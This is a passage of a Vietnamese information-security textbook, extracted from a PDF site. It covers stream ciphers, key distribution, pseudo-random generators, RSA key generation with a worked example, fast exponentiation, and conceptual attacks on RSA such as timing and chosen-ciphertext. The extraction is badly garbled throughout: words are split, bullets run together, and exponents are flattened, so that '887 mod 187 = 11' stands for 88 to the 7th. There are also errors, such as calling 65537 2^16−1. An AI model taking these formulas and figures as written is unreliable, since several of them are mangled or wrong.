1. Các đặc trư ng mã khối. Các đặc tr ưng trong mã khối hiện đại lào  Độ dài khoá / kích thướ c khối / số vòng có thể thay đổio  Các phép toán tr ộn, quay phụ thuộc khoá hoặc dữ liệu.o  S box phụ thuộc khoáo  Tạo khoá con phức tạ p hơ no  Phép toán vớ i đầy đủ dữ liệu ở mỗi vòng.o  Biến thiên hàm phi tuyến.

2. Các đặc trư ng mã dòng.o  Xử lý mẩu tin lần lượ t theo từng bit.o  Thông thườ ng có khoá dòng (giả) ngẫu nhiên.o  K ết hợ  p XOR vớ i bản rõ theo từng bito   Ngẫu nhiên vớ i khoá dòng sẽ xoá bỏ hoàn toàn các phân tích thống kê của

mẩu tinCi = Mi XOR StreamKeyi 

o  R ất đơ n giảno   Nhưng khoá không đượ c sử dụng lại

3. Các tính chất của mã dòng trong khi thiết k ế a.  Sử dụng lâu không bị lặ p

Page 67: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 67/147

 - 67 -

 b.   Ngẫu nhiên thống kêc.  Phụ thuộc khoá đủ lớ nd.  Độ phức tạ p tuyến tính lớ ne.  R ối loạnf.  Khuếch tán

g.  Sử dụng hàm Boole phi tuyến bậc cao

IV.5 Bảo mật dùng khoá đối xứ ngIV.5.1 Yêu cầuMã đối xứng truyền thống đượ c dùng để giữ bí mật bản tin•  Xét k ịch bản tiêu biểu

o  Các máy tr ạm ở một mạng LAN truy cậ p vào các máy tr ạm và máy chủ ở mộtmạng LAN khác

o  Các mạng đượ c k ết nối sử dụng chuyển mạch và đườ ng truyền(switches/routers)

o  Vớ i các đườ ng truyền vật lý hoặc liên k ết vô tuyến/vệ tinh

•  Xét việc tấn công và cách đặt mã trong k ịch bản trêno  Điều tra từ một máy tr ạm kháco  Sử dụng k ết nối đến mạng hoặc máy chủ đề tìm kiếmo  Sử dụng k ết nối ngoài để xâm nhậ p và điều trao  Theo dõi và/hoặc làm thay đổi việc truyền k ết nối ngoài.

Có hai phươ ng pháp chính xác định chỗ đặt mã•  Mã k ết nối (Link Encription)

o  Mã xảy ra độc lậ p trên mỗi k ết nối.o  Suy ra cần phải giải mã truyền tin giữa các k ết nốio  Đòi hỏi nhiều thiết bị và các cặ p khoá

•  Mã đầu cuối (End to end Encription) AES là mã mớ i thay thế 

o  Mã xảy ra giữa điểm gốc và điểm đícho  Cần thiết bị tại mỗi đầu cuối và khoá chia sẻ 

IV.5.2 Thám mã thông tin truyềnKhi dùng mã đầu cuối cần phải để thông tin đầu của nó rõ ràng, vì như vậy mạng mớ iđịnh hướ ng đúng đắn thông tin. Vì vậy tuy nội dung tin đượ c bảo vệ, nhưng khuôn dòngtin truyền thì không. Tốt nhất là muốn bí mật cả hai. Mã đầu cuối bảo vệ thông tin nộidung trên cả đườ ng truyền và cung cấ p danh tính. Còn mã k ết nối bảo vệ luồng truyềnkhỏi việc theo dõi.•  Vị trí mãCó thể đặt mã ở nhiều tầng khác nhau trong mô hình Hệ thống truyền thông mở OSI

o  Mã k ết nối thực hiện ở tầng 1 hoặc 2.

o  Mã đầu cuối có thể thực hiện ở tầng 3, 4, 6, 7o  Dịch chuyển đến tầng càng cao, càng ít thông tin đượ c mã hoá, nhưng càng an

toàn hơ n do ngườ i sử dụng giữ bí mật đuợ c khoá, tuy nhiên phức tạ p hơ n vớ inhiều đối tượ ng và khoá hơ n.

•  Thám mã thông tin truyềnThám mã là theo dõi dòng thông tin truyền giữa hai đối tác: 

o  Đượ c dùng cả trong quân sự và thươ ng mại

Page 68: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 68/147

 - 68 -

o  Có thể đượ c dùng để tạo kênh giám sáto  Mã k ết nối che lấ p chi tiết đầu tin, nhưng xét trên toàn mạng và ở các đầu cuối

nó vẫn nhìn thấy đượ cBộ đệm truyền có thể che đượ c dòng tin, nhưng vớ i phải truyền liên tục vớ i tần suấttruyền hầu như không đổi theo thờ i gian.

IV.5.3 Phân phối khoáSơ  đồ đối xứng đòi hỏi cả hai đối tác chia sẻ khoá bí mật chung. Vấn đề đặt ra là làm sao phân phối khoá mật này như thế nào. Thông thườ ng các hệ mật thườ ng bị sậ p vì bị bẻ khoá trong sơ  đồ phân phối khoá.Đối vớ i hai đối tác A và B cho tr ướ c có một số cách phân phối khoá khác nhau:

2.  A lựa chọn khoá và truyền tay cho B3.  Đối tác thứ ba có thể chọn khoá và phân phối cho A và B4.  A và B trao đổi tr ướ c có thể dùng khoá tr ướ c để mã khoá mớ i5.  A và B trao đổi mật vớ i đối tác thứ 3 là C, C chuyển tiế p giữa A và B

K ịch bản phân phối khoá

Phân loại khoáThông thườ ng khoá phân loại như sau:•  Khoá phiên (section key):

o  Khoá tạm thờ i.

o  Dùng để mã hoá dữ liệu giữa nhóm ngườ i sử dụng.o  Cho một phiên logic và sau đó bỏ đi.•  Khoá chính (master key):

o  Dùng để mã các khoá phiên.o  Chia sẻ giữa ngườ i sử dụng và trung tâm phân phối khoá.

Vấn đề phân phối khoáĐối vớ i mạng lớ n đòi hỏi phân cấ p Trung tâm phân phối khoá KDC, nhưng cần phải tạotin cậy cho nhau, giữa ngườ i sử dụng vớ i Trung tâm và các Trung tâm vớ i nhau. Thờ i

Page 69: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 69/147

 - 69 -

gian sống của khoá bộ phận cần đượ c hạn chế để cho an toàn hơ n. Sử dụng phân phốikhoá tự động thay mặt ngườ i dùng, nhưng phải có hệ thống tin cậy, các khoá cấ p phátđượ c sinh ra càng ngẫu nhiên càng tốt. Cần phải có hệ thống phân phối khoá phân tán và phân cấ p. Đồng thờ i cần hỗ tr ợ kiểm soát mục đích sử dụng khoá.

IV.5.4. Các số ngẫu nhiênCó nhiều ứng dụng của số ngẫu nhiên trong lý thuyết mã. Chẳng hạn, khoá xác thực dùngtrong các thủ tục xác thực chống trì hoãn hoặc khoá phiên, khoá dòng cho bộ đệm mộtlần. Do đó cần có cơ chế sinh khoá công khaiTrong nhiều tr ườ ng hợ  p đặc biệt các giá tr ị này cần phải

o   Ngẫu nhiên về mặt thống kê, có phân phối đều, độc lậ p.o  Không đoán tr ướ c đượ c các giá tr ị tiế p theo nếu dựa vào các giá tr ị tr ướ c đó. 

Sinh số ngẫu nhiên tự nhiên: Nguồn cung cấ p tốt nhất là ngẫu nhiên tự nhiên trong thế giớ i thực. Thườ ng ngườ i ta tìmmột sự kiện gì đó thườ ng gặ p nhưng ngẫu nhiên. Nói chung cần phải bằng cách nào đóthực hiện đượ c, chẳng hạn: sóng radio, âm radio, nhiệt trong diot,…Bắt đầu quan sát cái

gì xảy ra trong CPU mớ i. Ta gặ p vấn đề thiên lệch và phân bố không đều của các tínhiệu, do đó phải điều chỉnh:o  Cần phải bù đắ p lại khi tạo mẫu và sử dụng.o  Tốt nhất chỉ sử dụng một số bit ồn nhất trong mỗi mẫu.

Nguồn số ngẫu nhiên đã đăngCó một số ít sưu tầm về số ngẫu nhiên đã đăng. Rand Co trong năm 1955 đã in hơ n 1triệu số ngẫu nhiên. Đượ c sinh bằng cách sử dụng bánh quay số điện tử. Đã đượ c sử dụngtrong thiết k ế một số mã như Khafre. Tr ướ c đó 1927, Tippet đã in một bộ sưu tậ p các số ngẫu nhiên. Vấn đề là ở chỗ:

o  Số lượ ng hạn chế các số ngẫu nhiên

o  Đã đượ c biết và sử dụng trong nhiều ứng dụng

Bộ sinh số giả ngẫu nhiên (PRNG)Dùng k ỹ thuật thuật toán xác định để tạo số ngẫu nhiên. Mặc dù không ngẫu nhiên thật,nhưng phải nhiều phép thử  để kiểm tra đảm bảo “tính ngẫu nhiên”. Các số như vật đượ c biết đến như những số giả ngẫu nhiên. Có các bộ sinh số giả ngẫu nhiên PRNG.

Bộ sinh đồng dạng tuyến tínhMong muốn sinh một dãy số ngẫu nhiên. Lấy ba số a, c, m và một số đầu tiên của dãy.K ỹ thuật lặ p chung đượ c sử dụng là tạo số tiế p theo dựa vào số tr ướ c đó:

 X n+1 = (aX n + c) mod m

Cho tr ướ c các số và tham số phù hợ  p có thể sinh ra dãy số tựa ngẫu nhiên khá dài.Tiêu chuẩn phù hợ  p cần có lào  Hàm sinh ra giá tr ị lấ p đầy chu k ỳ o  Dãy sinh ra phải ngẫu nhiêno  Cài đặt hiệu quả vớ i số học 32 bito  Lưu ý r ằng k ẻ thám mã phải khôi phục lại dãy nếu cho tr ướ c một số ít các giá

tr ị 

Page 70: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 70/147

 - 70 -

Sử dụng mã khối như bộ sinh số giả ngẫu nhiên Có thể sử dụng mã khối để sinh số giả ngẫu nhiên. Sử dụng chế độ đếm

 X i = EKm[i]Sử dụng chế độ đầu ra phản hồi

 X i = EKm[ X i-1]

Trong ANSI X9.17 PRNG: sử dụng thờ i gian, ngày tháng và một số thông tin mồi và mã3 DES để sinh mồi mớ i và số ngẫu nhiên.

Bộ sinh Blum Blum ShubDựa vào thuật toán mã khoá công khai. Sử dụng bit ít quan tr ọng nhất từ đẳng thức sau:

xi+1 = xi2 mod n

trong đó n=p.q, và các số nguyên tố p, q=3 mod 4. Ở đây đảm bảo tính chất: không đoántr ướ c đượ c bit tiế p theo. Tính an toàn dựa trên độ khó của bài toán phân tích N ra thừa số.Không đoán tr ướ c đượ c nếu cho chạy truớ c một số lần các bít. Tuy nhiên chậm, vì phảidùng các số r ất lớ n. Đặc biệt r ất chậm cho việc mã hoá, nên chỉ dùng cho việc sinh khoá.

Bài tập

1. Viết hai dãy số sinh bở i các phươ ng trình sau:

 X n+1 = (6X n ) mod 13

 X n+1 = (7X n ) mod 13

Chứng tỏ cả hai dãy trên đều có chu k ỳ đầy đủ. Dãy nào tỏ ra có vẻ ngẫu nhiên hơ n.

2. Hãy viết các dãy số theo phươ ng trình sau :

xi+1 = xi2 mod 21

vàxi+1 = xi

2 mod 33Có nhận xét gì về tính ngẫu nhiên của chúng.

3. Lậ p sơ  đồ khối mã hoá DES. Nêu các đặc tr ưng của DES.

4. Lậ p sơ  đồ khối mã hoá AES. Nêu các đặc tr ưng của AES.

5. Mô tả sơ  đồ dùng bên thứ ba phân phối khoá mật giữa hai ngườ i sử dụng. Nêu các ưunhượ c điểm của sơ  đồ đó.

6.  Có thể dùng khoá mật để tạo nên chữ ký điện tử đượ c không, ngh ĩ a là có một dấuhiệu gì đó mà chỉ có ngườ i gửi thực hiện đượ c gắn vớ i nội dung của bản tin. Ngườ inhận đọc đượ c bản tin và có thể kiểm tra để tin tưở ng r ằng ngườ i gửi đã viết nội dung bản tin đó.

7.  Mô tả các đặc tr ưng mã khối, chuẩn mã DES, chuẩn mã nâng cao AES.

Page 71: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 71/147

 - 71 -

CHƯƠ NG 5:

MÃ CÔNG KHAI VÀ QUẢN LÝ KHOÁ

V.1 Mã khoá công khai

Mã khoá riêngMã khoá riêng còn đượ c gọi là mã khoá đơ n hay mật. Ở đây chỉ dùng một khoá, dùngchung cả ngườ i nhận và ngườ i gửi. Khi khoá này đượ c dùng, việc trao đổi thông tin về khoá sẽ đượ c thỏa thuận tr ướ c. Ngườ i ta còn gọi đây là mã đối xứng, vì hai đối tác có vai trò như nhau. Do đó không bảovệ ngườ i gửi khỏi việc ngườ i nhận giả mạo mẩu tin và tuyên bố là nó đượ c gửi bằngngườ i gửi. Ngh ĩ a là khi hai ngườ i dùng mã đối xứng, thì họ giữ đượ c bí mật nội dung traođổi, nhưng bản thân mẩu tin không mang thông tin xác thực đượ c ngườ i gửi.

V.1.1 Mã khoá công khaiKhoá công khai ra đờ i vào đầu những năm 1970. Có thể nói đây là bướ c tiến quan tr ọngnhất trong lịch sử 3000 năm mã hoá. Ở đây ngườ i ta sử dụng 2 khoá: một khoá riêng vàmột khoá công khai. Hai khoá này khác nhau, không đối xứng vớ i nhau, do đó mã khoácông khai, còn đượ c gọi là mã không đối xứng. Ngườ i ta đã ứng dụng một cách thôngminh các k ết quả của lý thuyết số về hàm số.Khoá công khai ra đờ i hỗ tr ợ thêm để giải quyết một số bài toán an toàn, chứ không phảithay thế khoá riêng. Cả hai khoá cùng tồn tại, phát triển và bổ sung cho nhau.Khoá công khai/hai khoá/không đối xừng bao gồm việc sử dụng 2 khoá:

o  Khoá công khai, mà mọi ngườ i đều biết, đượ c dùng để mã hoá mẩu tin vàkiểm chứng chữ ký.

o  Khoá riêng, chỉ ngườ i nhận biết, đề giải mã bản tin hoặc để tạo chữ ký. o  Là không đối xứng vì những ngườ i mã hoá và kiểm chứng chữ ký không thể 

giải mã hoặc tạo chữ ký.

Page 72: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 72/147

 - 72 -

Sơ  đồ mã khoá công khai

V.1.2 Tại sao lại phải dùng mã khoá công khai Ngườ i ta muốn giải quyết hai vấn đề sau về khoá nảy sinh trong thực tế:o  Phân phối khoá - làm sao có thể phân phối khóa an toàn mà không cần trung

tâm phân phối khoá tin cậyo  Chữ ký điện tử - làm sao có thể kiểm chứng đượ c r ằng mẩu tin gửi đến

nguyên vẹn từ đúng ngườ i đứng tên gửi. Nếu chỉ dùng khoá đối xứng, thì không có giải pháp cho hai bài toán trên. Mã khoá côngkhai đượ c phát minh tr ướ c công chúng bở i hai nhà bác học Whitfield Diffie & MartinHellman ở tr ườ ng Đại học Stanford vào năm 1976. Tuy nhiên khái niệm ban đầu về nó đãđượ c biết đến sớ m hơ n bở i cộng đồng các nhà khoa học.V.1. 3 Các đặc trư ng của khoá công khai

Các thuật toán khoá công khai dùng 2 khoá vớ i các đặc tr ưng sau:o  Không có khả năng tính toán để tìm khoá giải mã nếu chỉ biết thuật toán mãvà khoá dùng để mã.

o  Có thể dễ dàng mã hoá hoặc giải mã mẩu tin nếu biết khoá tươ ng ứngo  Trong một số sơ  đồ: một khoá bất k ỳ trong hai khoá có thể dùng để mã, còn

khoá kia dùng để giải mã. Chúng có vai trò đối ngượ c nhau.

Page 73: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 73/147

 - 73 -

V.1.4 Ứ ng dụng khoá công khaiCó thể phân loại các ứng dụng của khoá công khai thành 3 loại khác nhau:

o  Mã/giải mã – cung cấ p bảo mật. Đây là ứng dụng bảo mật truyền thống giốngnhư ta vẫn thườ ng dùng vớ i khoá đối xứng.

o  Chữ ký điện tử - cung cấ p xác thực. Một trong các ứng dụng mớ i của khoá

công khai mà khoá đối xứng không thể thực hiện đượ c, đó là khoá công khaicó đủ cơ  sở  để xác nhận ngườ i gửi và có thể là một lựa chọn để tạo chữ kýđiện tử của ngườ i gửi.

Một số thuật toán mã công khai phù hợ  p vớ i mọi ứng dụng, còn một số khác chuyêndùng cho ứng dụng cụ thể.

V.1.5 Tính an toàn của các sơ  đồ khoá công khaiCũng giống như khoá riêng việc tìm kiếm vét cạn luôn luôn có thể, tức là khi biết mộttrong hai khoá và thuật toán mã hoá về nguyên tắc ta có thể dò tìm khoá thứ hai bằngcách tính toán các giá tr ị liên quan. Nói chung khối lượ ng cần tính toán là r ất lớ n do độ  phức tạ p của bài toán xác định khoá. Nếu khoá sử dụng là r ất lớ n cỡ hơ n 512 bit, thì hầu

như bài toán tìm khoá thứ hai là không khả thi, không thể thực hiện đượ c trong thờ i giancó ngh ĩ a, cho dù nguồn lực có thể r ất lớ n.Tính an toàn dựa trên sự khác biệt đủ lớ n giữa các bài toán dễ là mã/giải mã khi biết khoávà bài toán khó là thám mã khi không biết khoá tươ ng ứng. Vì bài toán thám mã nằmtrong lớ  p các bài toán khó tổng quát hơ n đã đượ c biết đến và về mặt lý thuyết đã đượ cchứng minh là nó r ất khó có thể thực hiện trên thực tế. Bở i vì nó đòi hỏi sử dụng số r ấtlớ n, nên số phép toán cần thực hiện là r ất nhiều. Đây là ý tưở ng chính để tạo nên một mãcông khai. Ta tìm kiếm các bài toán mà nếu biết thông tin mật nào đó đượ c che dấu thì nór ất dễ thực hiện, còn nếu không thì nó thuộc lớ  p bài toán r ất khó giải, hầu như không thể giải trên thực tế.Mã công khai thườ ng chậm hơ n khá nhiều so vớ i mã đối xứng, nên nó thườ ng đượ c dùng

mã những thông tin nhỏ quan tr ọng.V.2 RSARSA là mã công khai đượ c sáng tạo bở i Rivest, Shamir & Adleman ở MIT (Tr ườ ng Đạihọc Công nghệ Massachusetts) vào năm 1977. RSA là mã công khai đượ c biết đến nhiềunhất và sử dụng r ộng rãi nhất hiện nay. Nó dựa trên các phép toán lũy thừa trong tr ườ nghữu hạn các số nguyên theo modulo nguyên tố. Cụ thể, mã hoá hay giải mã là các phéptoán luỹ thừa theo modulo số r ất lớ n. Việc thám mã, tức là tìm khoá riêng khi biết khoácông khai, dựa trên bài toán khó là phân tích một số r ất lớ n đó ra thừa số nguyên tố. Nếukhông có thông tin gì, thì ta phải lần lượ t kiểm tra tính chia hết của số đó cho tất cả các số nguyên tố nhỏ hơ n căn của nó. Đây là việc làm không khả thi.

 Ngườ i ta chứng minh đượ c r ằng, phép lũy thừa cần O((log n)3)  phép toán, nên có thể coi lũy thừa là bài toán dễ. Cần chú ý r ằng ở  đây ta sử dụng các số r ất lớ n khoảng 1024 bit, tức là cỡ 10350. Tính an toàn dựa vào độ khó của bài toán phân tích ra thừa số các số 

lớ n. Bài toán phân tích ra thừa số yêu cầu O(e log n log log n)  phép toán, đây là bàitoán khó. 

V.2.1 Khở i tạo khoá RSA•  Mỗi ngườ i sử dụng tạo một cặ p khoá công khai – riêng như sau:

Page 74: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 74/147

 - 74 -

•  Chọn ngẫu nhiên 2 số nguyên tố lớ n p và q•  Tính số làm modulo của hệ thống: N = p.q

o  Ta đã biết ФN)=(p-1)(q-1) 

o  Và có thể dùng Định lý Trung Hoa để giảm bớ t tính toán•  Chọn ngẫu nhiên khoá mã e

o  Trong đó 1<e< ФN), gcd(e,Ф(N))=1•  Giải phươ ng trình sau để tìm khoá giải mã d sao cho

o  e.d=1 mod Ф(N) với 0≤d≤ Ф(N) 

•  In khoá mã công khai KU={e,N}

•  Giữ khoá riêng bí mật KR={d,p,q}

V.2.2 Sử dụng RSA•  Để mã hoá mẩu tin, ngườ i gủi:

o  lấy khoá công khai của ngườ i nhận KU={e,N} 

o  Tính C=Me mod N, trong đó 0≤M<N

  Để giải mã hoá bản mã, ngườ i sở hữu nhận:o  Sử dụng khóa riêng KR={d,p,q} 

o  Tính M=Cd mod N 

•  Lưu ý r ằng bản tin M < N, do đó khi cần chia khối bản rõ.

Cơ sở của RSA•  Theo Định lý Ole

o  aФ(n)mod N = 1 trong đó gcd(a,N)=1o  Ta có N=p.q

o  Ф(N)=(p-1)(q-1) 

o  e.d=1 mod Ф(N) 

o  e.d=1+k.Ф(N) đối với một giá tr ị k nào đó.

Suy ra

o  Cd = (Me)d = M1+k.Ф(N) = M1.(M

Ф(N))k suy ra

Cd modN = M1.(1)k modN = M1 modN = M modN 

Ví dụ 1. Chọn các số nguyên tố:  p=17 & q=11.2. Tính n =  pq, n= 17×11=1873. Tính Ф(n)=( p–1)(q-1)=16×10=1604. Chọn e : gcd(e,160)=1; Lấy e=7

5. Xác định d: de=1 mod 160 và d < 160Giá tr ị cần tìm là d=23, vì 23×7=161= 10×160+16. In khoá công khai KU={7,187}7. Giữ khoá riêng bí mật KR={23,17,11}

Ví dụ áp dụng mã RSA trên như sau:•  Cho mẩu tin M = 88 (vậy 88<187)

•  Mã C = 887 mod 187 = 11

Page 75: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 75/147

 - 75 -

•  Giải mã M = 1123 mod 187 = 88•  Có thể dùng định lý phần dư Trung Hoa để giải mã cho nhanh như sau:

a.  Tính 1123 mod 11 = 0

 b.  Tính 1123mod 17 = (-6)23 mod 17 = (-6)16(-6)4 (-6)2 (-6) mod 17 = 3Vì (-6)2 mod 17 = 2, nên (-6)4 mod 17 = 4, (-6)8 mod 17 = -1(-6)16 mod 17 = 1

c.  11-1 mod 17 = (-6)-1 mod 17 = 14 nên c2 = 11(11-1 mod 17) = 11 (14 mod 17)= 154

d.  Vậy M = (3.154) mod 187 = 462 mod 187 = 88V.2.3 Lũy thừ aTrong các bài toán mã hoá công khai, chúng ta sử dụng nhiều phép toán lũy thừa vớ i số mũ lớ n. Như vậy cần có thuật toán nhanh hiệu quả đối vớ i phép toán này. Tr ướ c hết ta phân tích số mũ theo cơ số 2, xét biểu diễn nhị phân của số mũ, sau đó sử dụng thuật toán bình phươ ng và nhân. Khái niệm đượ c dựa trên phép lặ p cơ sở bình phươ ng và nhân để nhận đựơ c k ết quả mong muốn. Độ phức tạ p của thuật toán là O(log2 n)  phép nhân đối

vớ i số mũ n.Ví dụ:75 = 74.71 = 3.7 = 10 mod 11

vì 72 = 7.7 = 49 = 5 mod 11

74 = 72.72 = 5.5 = 3 mod 11

3129 = 3128.31 = 5.3 = 4 mod 11 Phân tích số mũ theo cơ số 2Tr ướ c hết ta chuyển số mũ từ cơ số 10 sang cơ số 2: (11)10 = (1011)2. Sau đó tính toánnhư sau:

M11 = M1.2^3 + 0.2^2+ 1.2^1 + 1.2^0

= (M1.2^2 + 0.2^1+ 1.2^0 )2M= (M1.2^1 + 0.2^0)2M)2M= ((M2)2 M)2M

Thuật toán lũy thừ aGiả sử b1 b2…bk  là biểu diễn cơ số 2 của c.Tính ac mod n

Page 76: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 76/147

 - 76 -

Trong thuật toán trên giá tr ị của c chỉ dùng để kiểm tra số mũ của lũy thừa. Còn d chínhlà giá tr ị lũy thừa cần tính và a là cơ số của luỹ thừa.

V.2.4 Mã hiệu quả:Mã sử dụng lũy thừa của khoá công khai e, nếu giá tr ị của e nhỏ thì tính toán sẽ nhanh,

nhưng dễ bị tấn công. Thườ ng chọn e nhỏ hơ n hoặc bằng 65537 (216

-1), tức là độ dàikhoá công khai là 16 bit. Chẳng hạn trong ví dụ trên ta có thể lựa chọn e = 23 hoặc e = 7.Ta có thể tính mã hoá nhanh, nếu biết n=pq và sử dụng Định lý phần dư Trung Hoa vớ imẩu tin M theo các Modulo p và q khác nhau. Nếu khoá công khai e cố định thì cần tintưở ng r ằng khi chọn n ta luôn có gcd(e,Ф(n)) = 1. Loại bỏ mọi p, q mà làm cho Ф(n)không nguyên tố cùng nhau vớ i e.

V.2.5 Giải mã hiệu quả:Có thể sử dụng Định lý phần dư Trung Hoa để tính theo mod p và q, sau đó k ết hợ  p lạiđể tìm ra bản rõ. Vì ở  đây ngườ i sử dụng khoá riêng biết đượ c p và q, do đó có thể sử dụng k ỹ thuật này. Nếu sử dụng định lý phần dư Trung Hoa để giải mã thì hiệu quả là

nhanh gấ p 4 lần so vớ i giải mã tính tr ực tiế p.

V.2.6 Sinh khoá RSA Ngườ i sử dụng RSA cần phải xác định ngẫu nhiên 2 số nguyên tố r ất lớ n, thông thườ ngkhoảng 512 bit. Do đó việc sinh ra ngẫu nhiên p, q và kiểm tra xác suất tính nguyên tố của chúng có nhiều giải pháp khác nhau vớ i độ tin cậy cao. Sau khi chọn đượ c một khoáe hoặc d nguyên tố cùng nhau vớ i Ф(n), dễ dàng tính đượ c khoá kia chính là số nghịchđảo của nó qua thuật toán Euclide mở r ộng.V.2.7 An toàn của RSATrên thực té có nhiều cách tấn công khác nhau đối vớ i mã công khai RSA như sau:Tìm kiếm khoá bằng phươ ng pháp vét cạn, phươ ng pháp này không khả thi vớ i kích

thướ c đủ lớ n của các số hoặc tấn công bằng toán học dựa vào độ khó việc tính Ф(n) bằngcách phân tích n thành hai số nguyên tố p và q hoặc tìm cách tính tr ực tiế p Ф(n). Trongquá trình nghiên cứu việc thám mã ngườ i ta đề xuất kiểu tấn công thờ i gian trong khi giảimã, tức là căn cứ vào tốc độ mã hoá và giải mã các mẩu tin cho tr ướ c mà phán đoán cácthông tin về khoá. Cuối cùng có những nghiên cứu tấn công RSA vớ i điều kiện biếttr ướ c bản mã cho tr ướ c. Cu thể như sau:Bài toán phân tích•  Tấn công toán học có 3 dạng

o  Phân tích N = p.q, sau đó tính Ф(N) và do  Tìm n tr ực tiế p Ф(N) và tính do  Tìm d tr ực tiế p

•  Hiện tại tin r ằng tất cả đều tươ ng đươ ng vớ i bài toán phân tícho  Có các bướ c tiến chậm theo thờ i giano  Hiện tại cho r ằng RSA 1024 hoặc 2048 là an toàn

•  Tấn công thờ i giano  Phát triển vào giữa năm 1990o  Paul Kocher chỉ ra r ằng k ẻ thám mã có thể xác định đượ c khoá riêng nếu theo

dõi thờ i gian máy tính cần để giải mã các bản tin.

Page 77: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 77/147

 - 77 -

o  Tấn công thờ i gian không chỉ áp dụng cho RSA, mà cả vớ i các hệ mã côngkhai khác.

o  Tấn công thờ i gian giống như k ẻ cướ  p đoán số điện thọai bằng cách quan sátmột ngườ i nào đó trong bao lâu chuyển quay điện thoại từ số này sang số khác.

•  Tấn công bản mã chọn trướ co  RSA có điểm yếu vớ i tấn công bản mã chọn tr ướ co  K ẻ tấn công chọn bản mã và đoán bản rõ đượ c giải mão  Chọn bản mã để khám phá RSA cung cấ p thông tin để thám mão  Có thể tính vớ i bộ đệm ngãu nhiên của bản rõo  Hoặc sử dụng bộ đệm mã hoá phản xứng.

V.3 Quản lý khoáV.3.1 Phân phối khoáMã khoá công khai giúp giải bài toán phân phối khoá, đây là nhu cầu cấ p bách cần phảitạo ra một cơ  chế chia sẻ khoá trong môi tr ườ ng thườ ng xuyên trao đổi thông tin và

thườ ng xuyên thay đổi khoá. Nó bao gồm hai khía cạnh sau:o  Phân phối khoá một cách công khai nhưng đảm bảo đượ c bí mật.o  Sử dụng mã khoá công khai để phân phối khoá mật (còn khoá mật dùng để mã

hoá thông tin).

V.3.2 Phân phối khoá công khai có thể xem xét để đượ c sử dụng vào một trong nhữngviệc sau:

o  Thông báo công khai khoá của ngườ i sử dụng.o  Thư mục truy cậ p công cộng cho mọi ngườ i.o  Chủ quyền khoá công khai, ngườ i nắm giữ khoá công khai.o  Chứng nhận khoá công khai, khoá công khai của ngườ i sử dụng đượ c nơ i có

thẩm quyền chứng nhận.

Thông báo công khai•   Ngườ i dùng phân phối khoá công khai cho ngườ i nhận hoặc thông báo r ộng rãi cho

cộng đồng. Chẳng hạn như ngườ i sử dụng có thể tự bổ sung khoá PGP vào thư điệntử hoặc gửi cho nhóm chia sẻ tin hoặc một danh sách thư điện tử.

•  Điểm yếu chính của thông báo công khai là mạo danh: một ngườ i nào đó có thể tạokhoá và tuyên bố mình là một ngườ i khác và gửi thông báo cho mọi ngườ i khác. Chođến khi giả mạo bị phát hiện thì k ẻ mạo danh đã có thể lừa trong vai trò ngườ i khác

Thư mục truy cập công cộng

•  Dùng thư mục truy cậ p công cộng có thể đạt đượ c tính an toàn cao hơ n bằng cáchđăng ký khoá vớ i thư mục công cộng để đăng tải và chia sẻ cho mọi ngườ i.•  Thư mục cần đượ c đảm bảo tin cậy vớ i các tính chất sau:

o  Chứa việc nhậ p tên và khoá công khaio   Ngườ i dùng đăng ký mật vớ i Thư mụco   Ngườ i dùng có thể thay khoá bất cứ lúc nàoo  Thư mục đượ c in định k ỳ o  Thư mục có thể truy cậ p qua mạng

Page 78: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 78/147

 - 78 -

•  Mô hình trên vẫn còn có các lỗ hổng để k ẻ xâm nhậ p sửa hoặc giả mạo khi vào hệ thống.

Chủ quyền khoá công khaiĐây là bướ c cải thiện tính an toàn bằng kiểm soát chặt chẽ tậ p trung việc phân phối khoá

từ Thư mục. Nó bao gồm các tính chất của một Thư mục như đã nêu ở phần tr ướ c và đòihỏi ngườ i dùng biết khoá công khai của Thư mục đó. Sau đó ngườ i dùng nhận đượ c bấtk ỳ khoá công khai mong muốn nào một cách an toàn, bằng cách truy cậ p thờ i gian thựcđến Thư mục khi cần đến khoá. Tuy nhiên yêu cầu truy cậ p thờ i gian thực là một nhượ cđiểm của cách phân phối khoá này. Cụ thể trong k ịch bản sau hai ngườ i sử dụng chia sẻ khoá công khai của mình cho nhau thông qua việc sử dụng khoá công khai của Chủ quyền để nhận đượ c khoá công khai của đối tác và trao đổi qua lại để khẳng định ngườ inày đã biết thông tin của ngườ i kia.

